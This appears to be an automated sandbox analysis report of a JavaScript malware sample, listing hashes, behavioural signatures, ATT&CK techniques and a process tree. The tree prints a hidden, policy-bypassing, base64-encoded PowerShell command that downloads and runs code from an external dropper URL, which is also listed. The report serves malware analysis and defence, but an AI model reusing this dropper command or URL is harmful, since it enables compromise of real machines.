ee5f98e95f8467cb9c8a370a4dd3948181c1201790301e22fc3e81797430dd7e

Analysis

max time kernel
123s
max time network
170s
platform
windows7_x64
resource
win7v20210410
submitted
29/07/2021, 05:09

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General

Target
2021APT-28_33480453.js
Size 61KB
Sample210729-degn6ptdps
SHA256 ee5f98e95f8467cb9c8a370a4dd3948181c1201790301e22fc3e81797430dd7e
MD5 24a9c82f4a914cd5a2ab6df4863c6f4e
SHA1 339dc1e5d2dd71a03ffc65512f2ad895760eb66e
SHA512 4cde68d319ca62cb9f81ac95796e87d71546eaf4a70ee0670beb0249f74ce8c87fd1378dec3878e828e20f8632f9f58bc76cb6d257b764533a5cab2b754fc91a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1640	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1640	powershell.exe
1640	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 1608	2032	wscript.exe	27
PID 2032 wrote to memory of 1608	2032	wscript.exe	27
PID 2032 wrote to memory of 1608	2032	wscript.exe	27
PID 1608 wrote to memory of 1640	1608	cmd.exe	29
PID 1608 wrote to memory of 1640	1608	cmd.exe	29
PID 1608 wrote to memory of 1640	1608	cmd.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_33480453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1640-62-0x000007FEFC471000-0x000007FEFC473000-memory.dmp

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memory/1640-63-0x0000000002000000-0x0000000002001000-memory.dmp

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memory/1640-64-0x000000001AD80000-0x000000001AD81000-memory.dmp

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memory/1640-65-0x000000001AD00000-0x000000001AD02000-memory.dmp

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memory/1640-66-0x000000001AD04000-0x000000001AD06000-memory.dmp

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memory/1640-67-0x00000000024A0000-0x00000000024A1000-memory.dmp

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memory/1640-68-0x00000000026A0000-0x00000000026A1000-memory.dmp

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memory/1640-69-0x000000001AC30000-0x000000001AC31000-memory.dmp

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